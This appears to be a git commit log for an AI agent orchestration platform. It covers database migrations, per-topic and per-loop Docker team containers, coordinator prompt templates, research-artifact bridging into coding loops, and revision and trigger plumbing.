- ALTER TABLE research_topics ADD team_id UUID REFERENCES teams
- Two partial indexes (team_id NOT NULL) for the future cascade queries
cm-db (dynamic sqlx::query so the existing get_team's compile-time
cache doesn't need regenerating):
- TeamRuntimeConfig struct
- get_team_runtime_config / set_team_runtime_config
- team_for_loop / team_for_research_topic (resolvers)
- set_team_for_loop / set_team_for_research_topic (binders)
cm-api
- GET /api/teams/{id} now surfaces risk_profile + mcp_bundles
- PATCH /api/teams/{id}/runtime-config sets them
Not touched (comes in follow-up slices):
- Wizard picker exposing 'reuse research team' vs 'fresh coding team'
- Runtime container spawn keyed on team_id
- Migration of existing paired coding loops onto their own team
|
||
|
|
4ada5557f2 |
loops: kind column + initial_burst + on_artifact_update trigger fan-out
Foundation for folding research into loops as a first-class kind.
This commit ships the plumbing; the research-kind dispatch itself
lands next. Behavior for existing exec-kind loops is unchanged unless
they opt into the new trigger fields.
Migration 0044:
- kind TEXT NOT NULL DEFAULT 'exec' CHECK ('exec' | 'research'). New
research-kind will run the research pipeline each iteration (next
commit); 'exec' preserves today's behavior.
- initial_burst_remaining INT NOT NULL DEFAULT 0 — countdown for the
triggers.initial_burst quota. Decremented CAS-safely on each
completion until it hits 0.
- Two partial indexes: (kind, source_research_topic_id) for kind-
aware lookups, and (source_research_topic_id) filtered on
on_artifact_update=true + enabled=true for the fan-out hook.
Trigger schema extended with two optional fields:
- initial_burst: N — fire N iterations back-to-back at create time.
create_loop enqueues the first iteration inline (subject to
empty-roster gate), sets remaining=N-1, and the completion hook
continues the chain until exhausted.
- on_artifact_update: true — when a bound research_outcomes row is
inserted for the source topic, wake up one iteration of this loop.
Coalesced against has_active_run so a burst of rapid revisions
doesn't queue duplicates.
Backend:
- cm_db::repo::loops helpers (all dynamic sqlx, no offline cache
regen needed):
- set_initial_burst_remaining
- take_initial_burst_slot (CAS UPDATE returning prev value; 0 on
exhausted or race loss)
- loops_awaiting_topic (fan-out query: kind=exec + enabled +
on_artifact_update=true bound to the given topic)
- has_active_run (queued|running iteration existence check)
- get_any_workspace (bypasses the workspace scope guard; used by
the completion hook where the run row is authoritative)
- routes/loops::compose_iteration_task made pub so the completion
hook can build the same enriched task string as run_now.
- topology_worker::freeze_research_outcome now fans out to awakened
loops after the outcome insert, using compose_iteration_task and
coalescing on has_active_run.
- topology_worker::continue_initial_burst runs on every completion:
· take_initial_burst_slot (CAS) — no-op if already exhausted
· has_active_run coalesce guard
· re-fetches the loop via get_any_workspace + compose_iteration_task
· enqueues via loops::enqueue_iteration with parent_run_id set
Follow-ups already queued:
- kind='research' dispatch in run_job — build the research
coordinator task from the topic config, run the research pipeline
each iteration. Requires factoring start_topic's task-build.
- ResearchWizard "When should this run?" step (Just once / Nightly /
Manual) creating the topic + paired research-kind loop.
- LoopsWizard trigger UI matching the design proposal (burst count,
cron, on-artifact checkbox).
|
||
|
|
0c17de52dd |
loops: reorder rationale extraction — REORDER: markers logged per iteration
Coordinator can now log WHY it worked on an INT-XX out of order
("REORDER: INT-05 before INT-04 because prereq X is unmet") and the
completion hook captures each rationale as an append-only event on
the loop. Sets up a reviewable timeline of when the plan was
adjusted, independent of the underlying `consumed_int_ids` advance.
Migration 0043:
- loops.reorder_events JSONB NOT NULL DEFAULT '[]'::jsonb — append-
only array of {run_id, iteration, text, ts}. Kept on the loop row
(rather than a dedicated table) so the mini-timeline is one read
away from the loop card.
Backend:
- topology_worker::parse_reorder_rationale — line matcher symmetric
with parse_completed_int_ids. Tolerates list dashes / prefixes /
markdown emphasis; case-insensitive marker match, preserves case of
the rationale text.
- cm_db::repo::loops::append_reorder_event — one INSERT-like append
per rationale, uses jsonb_build_object with postgres now() so ts is
wall-clock canonical (no client-clock skew).
- topology_runs::iteration_for_run — new helper so events carry the
iteration index.
- routes::loops::compose_iteration_task — coordinator prompt now
explicitly asks for `REORDER: <one-sentence>` at the top of the
first substantive turn when working out of order, AND spells out
that both markers must appear literally with colons (no bold, no
code fence) so the line parser doesn't miss them.
Non-loop and standalone-loop runs are unaffected — the hook only
fires when the run belongs to a source-bound loop.
Follow-up: expose reorder_events on the loops list endpoint + render
a small collapsed timeline on the LoopsList card.
|
||
|
|
ce73abe5ab |
loops: bridge research artifact into loop iterations (option C + b)
The bridge lets a coding loop "consume" an integrations research artifact one INT-XX item per iteration. Options b (order-sequential iteration) and C (snapshot in task_template + save the pointer for future refresh) from the design discussion. Migration 0042 — three new loops columns: - source_research_topic_id — nullable pointer to research_topics. - consumed_int_ids TEXT[] — INT-XX ids the loop has completed. Advances when topology_worker parses "COMPLETED: INT-<NN>" markers from the run's final output (wired in a follow-up commit). - current_int_index INT — monotonic pointer for order-sequential iteration. Coordinator addresses INT-<current+1> unless prereqs are unmet, in which case it works on the smallest unblocking INT-XX and logs the reorder rationale. Backend: - cm_db::repo::loops::set_source_research_topic — bind/unbind pointer. - cm_db::repo::loops::source_research_context — read pointer + state. - routes::loops::compose_iteration_task — new caller-side helper that reads the pointer, fetches the topic's latest research_outcome, and prepends the artifact + focus instruction to task_template. - run_now + webhook_receive both pass task_template through compose_iteration_task before enqueue. Standalone loops (no pointer) behave identically to before. - CreateLoopRequest accepts `source_research_topic_id`, ownership- checked via research_topics::get before persist. Frontend: - New ResearchArtifactPicker modal — lists published topics, fetches the artifact on pick, returns (topic_id, markdown) to caller. - LoopsWizard task_template step gains "Import from research artifact" button (right-aligned). Click opens the picker. On pick: task populates with the artifact markdown, pointer saved, textarea expands to 8 rows, small info strip shows "Loop is bound to topic <id>. Each iteration will focus on the next unconsumed INT-XX." - Unlink button reverts to standalone loop mode. Follow-up (next commit): - topology_worker completion hook — parse "COMPLETED: INT-<NN>" out of the run's final output + update consumed_int_ids + current_int_index atomically. Without this, current_int_index stays at 0 forever and every iteration works on the same INT. - Loop card refresh button — re-read source topic's latest outcome (useful after a reject-with-revision cycle on the source topic). |
||
|
|
3ed1d03d2b |
research: integrations outcome + rich wizard cards + coordinator template
Adds a fifth outcome kind ('integrations') tuned for the "audit repo,
survey papers, propose a menu of concrete integrations" use case.
Every INT-XX item is self-contained (what, how, where, prereqs, effort,
risk, testing, rollback, acceptance) so a downstream loop can execute
one per iteration.
Backend:
- Migration 0041 drops + re-adds the outcome_kind CHECK constraint
with 'integrations' allowed. Existing rows unaffected.
- VALID_OUTCOMES gains 'integrations'.
- New deliverable_template(kind) returns the canonical section shape
for each outcome — spec, prod_plan, roadmap, paper, integrations all
get first-class treatment (prior: all shared a bare label).
- build_coordinator_task injects an ARTIFACT SHAPE block from the
template into the coordinator prompt, so the final synthesis
actually matches the promise the wizard made.
Frontend:
- OutcomeKind gains 'integrations'.
- ResearchWizard OUTCOMES list carries a `sections` array per kind.
- Selected card renders an "ARTIFACT WILL CONTAIN" preview so users
pick by seeing what they'll get, not by reading a one-line hint.
- Integrations card gets the fullest preview (executive summary +
INT-XX card shape) since it's the most structured deliverable.
Follow-ups queued (next commit): loop wizard "Import from research
artifact" bridge + one-INT-per-iteration mode.
|
||
|
|
03f1830d1f |
loops: Path B container isolation (P2)
Symmetric with the research pipeline: every enabled loop can now have its own per-loop team container so scheduled runs don't share state with other loops or with research. Same daemon image, same clawmates network, deterministic name loop-<id>-team. Backend surface: - Migration 0040 adds nullable `zeroclaw_container` + `zeroclaw_gateway_url` columns to loops (parallel to research_topics). - research_container.rs grows loop_container_name_for(), spawn_loop() (state-only mount, no repo), and teardown_loop(). Kept in the same module to share the docker connect() + inherited_env() plumbing; each pattern gets its own labels (clawmates.role=loop-team) so ps filters can tell them apart. - cm_db::repo::loops gains set_zeroclaw_container() + zeroclaw_gateway_url() (dynamic sqlx queries — no offline cache regen needed). - cm_db::repo::topology_runs gets loop_id_for_run(): mirror of research_topic_id, used by the worker. Wiring: - routes/loops::run_now + webhook_receive call ensure_loop_container() before enqueuing an iteration. Idempotent: an already-running container is just reattached. Failures are logged and do NOT block the enqueue — topology_worker falls back to the workspace gateway when the URL isn't set on the loop. - routes/loops::disable_loop + delete_loop both fire teardown_loop() so paused / deleted loops don't hold a docker slot. - topology_worker's per-run URL resolution: existing research fast path unchanged; when it doesn't hit, the worker now looks up loop_id and reads the loop's gateway URL. Deploy step (required on gw-04 for state to persist across container restarts): add a `/var/lib/clawmates-loops:/var/lib/clawmates-loops` bind mount + `CLAWMATES_LOOPS_STATE_ROOT=/var/lib/clawmates-loops` env var to clawmates_server_1 in the compose. Without it, loops still run — the state dir lives inside the API container's filesystem so persistence is limited to that container's lifetime. Follow-up: - Scheduler-tick fires (cron-driven, not run_now) — they call enqueue_iteration in cm-scheduler and don't yet go through ensure_loop_container. Add a symmetric spawn there so cron fires also land on the isolated daemon. - Compose file reconciliation — deploy/compose/docker-compose.yml in the repo has drifted from prod; when we sync it, add the loops mount at the same time. |
||
|
|
e3011ed025 |
research: reject-with-revision loop (R2)
Before: reviewer rejected a publish → audit log flipped, topic stayed in reviewing, no way to feed the critique back into the run pipeline. Reviewers with revision notes had to eat them or hand-message the coordinator. Now: reject accepts an optional `notes` field. When present: - Persisted on the research_publish_approvals row (migration 0039). - Topic flips `reviewing → standby` so the next `start_topic` is legal. - `start_topic` reads the most recent rejected-approval notes for the topic and prepends "PRIOR REVIEW NOTES (address these in this revision):\n<notes>\n---" to the coordinator task. Loop closes through the same run pipeline — no new spawn code path, which means the reviewer's guidance flows through the same topology_worker, run_events, outcome-writer chain and lands as a fresh research_outcomes row (versioned, prior drafts preserved). No notes on reject = legacy behavior (topic stays in reviewing, publish requests still allowed). Migration 0039 adds nullable `notes TEXT` to research_publish_approvals. `decide()` gains a `notes: Option<&str>` parameter (only one caller, updated inline). New `latest_rejection_notes(pool, topic_id)` helper for start_topic. Frontend: - rejectPublish(id, notes?) now sends a JSON body when notes are provided. - ResearchCanvas reject button opens an inline form with a textarea + Cancel/"Send back for revision" pair. Empty notes → plain reject. - Button label switches: "Send back for revision" when notes present, "Reject without notes" when empty. Follow-up: - Notes shown in the review UI on the resulting draft so the next reviewer sees what changed. - Multiple rejection rounds — currently only the LATEST rejection's notes surface. Accumulating history is a schema-only tweak. |
||
|
|
21ac35c8d4 |
research: spawn per-topic ZeroClaw team container on start (commit 1/3)
Commit 1 of the path-B (real per-topic isolation) plan. The
container spawns and its coordinates persist — nothing talks to
it yet; commit 2 wires ZeroClawDriveExecutor to prefer the topic's
URL when populated. This split keeps each landing verifiable.
Backend
- Migration 0038: research_topics gets zeroclaw_container_name +
zeroclaw_gateway_url columns. Both nullable so a topic can exist
before a spawn and teardown just NULLs them out.
- cm-db: ResearchTopic struct extended; get/list SELECTs updated;
new set_zeroclaw_container(id, workspace_id, name, url) helper
used both for spawn (Some/Some) and teardown (None/None).
- cm-api: bollard added as a workspace dep (matches cm-sandbox's
version). New research_container module:
· connect() → uses DOCKER_HOST when set (prod's socket-proxy
at tcp://socket-proxy:2375) else the local socket. Same
pattern cm-sandbox already uses.
· container_name_for(topic_id) → "research-<uuid>-team"
(deterministic so a re-start reattaches to the same
container instead of orphaning it).
· inherited_env() → propagates ZEROCLAW_*, OPENAI_*,
ANTHROPIC_*, GEMINI_*, GROQ_* from the parent server env
(provider config + tokens), stripping the server's own
ZEROCLAW_GATEWAY_URL/WORKSPACE so the team runtime doesn't
loop back on itself. Appends ZEROCLAW_GATEWAY_PORT=42617
and ZEROCLAW_WORKSPACE=/zeroclaw-data/workspace for the
team's own listener.
· spawn(docker, topic_id, repo_host_path, state_host_path):
- inspect: if the container already exists, start it if
stopped and return its coordinates (idempotent restart).
- else create with:
image = CLAWMATES_RESEARCH_TEAM_IMAGE or
clawmates-runtime:latest
cmd = [daemon, --host, 0.0.0.0]
env = inherited_env()
mounts = repo_host_path → /workspace/repo (rw)
state_host_path → /zeroclaw-data (rw)
network = CLAWMATES_RESEARCH_TEAM_NETWORK or
clawmates_core
labels = clawmates.role=research-team,
clawmates.research.topic_id=<uuid>
- creates state_host_path first so bind doesn't ENOENT.
· stop(docker, name) → stop + remove. Idempotent on 404/304.
- start_topic wires spawn after the clone completes:
· state root = CLAWMATES_RESEARCH_WORKSPACE_ROOT / <topic> /
state
· on success, persists (name, url) on the topic row so commit
2 can look them up when constructing the executor
· every failure (docker connect, docker create/start, DB
persist) is best-effort: logs and continues. A missing team
container leaves the topic pointing at the workspace-wide
gateway URL (env), preserving prior behavior.
Deploy prerequisites (not in this commit)
- The compose stack's clawmates_server service needs bind-mounts
of CLAWMATES_RESEARCH_WORKSPACE_ROOT (e.g.
/var/lib/clawmates-research:/var/lib/clawmates-research) so
paths the server writes to are visible on the host and the
spawned team container mounts the same underlying data.
- socket-proxy's ACL must allow POST + DELETE on /containers
(already the case in prod per the audited compose file).
|
||
|
|
3465bb7a6d |
research: persist bound repo + shallow-clone on start_topic
This is the minimum viable version of the "agents actually work on
a repo" architecture. Full vision (isolated ZeroClaw container per
topic, dynamic agent provisioning inside, pause/resume, commit
gate) is real weeks of work — this closes the first, most-visible
gap so the ClawHDF5 topic can actually run against its codebase.
Backend
- Migration 0037: research_topics gets repo_id UUID (nullable, FK
to repos ON DELETE SET NULL) and repo_workspace_path TEXT for
the on-disk checkout location. Index on repo_id when set.
- research_topics::create takes repo_id: Option<Uuid>. get + list
select it and repo_workspace_path. set_repo_workspace_path
persists the path once the first clone lands.
- CreateTopicRequest accepts `repo: Option<TopicRepoRef>` — the
same denormalized shape the wizard already sends. Only repo_id
is authoritative; other fields are ignored (dead_code-allowed
so serde still deserializes the full body).
- start_topic branches on topic.repo_id. When set, it calls
ensure_repo_workspace:
· resolves repo.clone_url + repo.default_branch
· target path = CLAWMATES_RESEARCH_WORKSPACE_ROOT
// <topic_id> // repo (defaults under $TMPDIR)
· runs `git clone --depth 1 --single-branch --branch <b>` via
tokio::process. Reuses the checkout if .git already exists.
· persists the path so re-starts skip the clone
· runs `git ls-files` to sample the tree (first 60 entries,
total count reported honestly so the prompt doesn't lie
about coverage)
All best-effort — a clone failure logs but still starts the run
without repo context rather than aborting.
- build_coordinator_task takes Option<&RepoContext>. When present,
the framing gets a REPO block (slug / path / branch / file
sample) and a USING THE REPO section instructing the coordinator
to ground every recommendation in a concrete file reference and
never fabricate paths. The per-topology bodies are unchanged —
the repo guidance sits above them so it applies to every shape.
What this unblocks / doesn't unblock
Unblocks: The coordinator prompt now knows the repo exists, where
it lives on disk, and what's in it. Even without file-editing
tools wired to the checkout, the coordinator can point spokes at
concrete modules and the final artifact can reference real files.
For a spec-shaped outcome like ClawHDF5's, that's the difference
between abstract advice and a spec grounded in the actual crates.
Does NOT unblock: The agents themselves editing files, running
tests, or committing. That requires either mounting the checkout
into the ZeroClaw sandbox or exposing a new MCP tool for
repo-scoped file ops — separate follow-up.
|
||
|
|
a2d3d85ebe |
research pipeline v2: topology-aware start + persisted draft
Three connected changes that turn "Start research" from a status flip into a real pipeline that produces a reviewable artifact: - Migration 0036: adds research_topics.topology_kind (default 'hub_spoke') and a new research_outcomes table (id, topic_id, version DESC, body_md, produced_by_run_id, created_at) so each run's final synthesis is versioned and persistent. - Wizard now has a topology picker in the Outcome step — hub_spoke / pipeline / hierarchical / star_moe — with copy that steers users to the right shape (Pipeline for research → distill → analyze → implement rosters, hub_spoke for the coordinator- and-specialists default). - start_topic reads the chosen topology_kind, parses it into a cm_topology::TopologyKind, and dispatches a per-shape coordinator prompt via build_coordinator_task. Pipeline explicitly tells stage 1 not to write the final artifact and propagates a "final stage MUST emit a complete markdown document with measurable acceptance criteria" instruction downstream. The graph builder is called with the topology the user actually picked instead of hard-coded HubSpoke. - topology_worker::freeze_research_outcome fires after every successful complete(). It looks up research_topic_id on the run; if set and final_output is non-empty, it inserts a new research_outcomes row (version auto-derived server-side via coalesce(max(version), 0) + 1). Best-effort — a DB hiccup logs but doesn't fail the run. - TopicDetail now includes topology_kind and latest_outcome. ResearchCanvas swaps in the outcome's body_md (rendered as pre-wrap markdown, versioned header, produced-at timestamp) whenever an outcome exists; the original prompt collapses into an "Original prompt" <details> below so it's still one click away. Pre-run topics still show the description as before. Follow-ups still open: reject-with-revision loop feeding the coordinator, publishing → published transition + real artifact export (md / pdf), and an approvals inbox surface for reviewers. |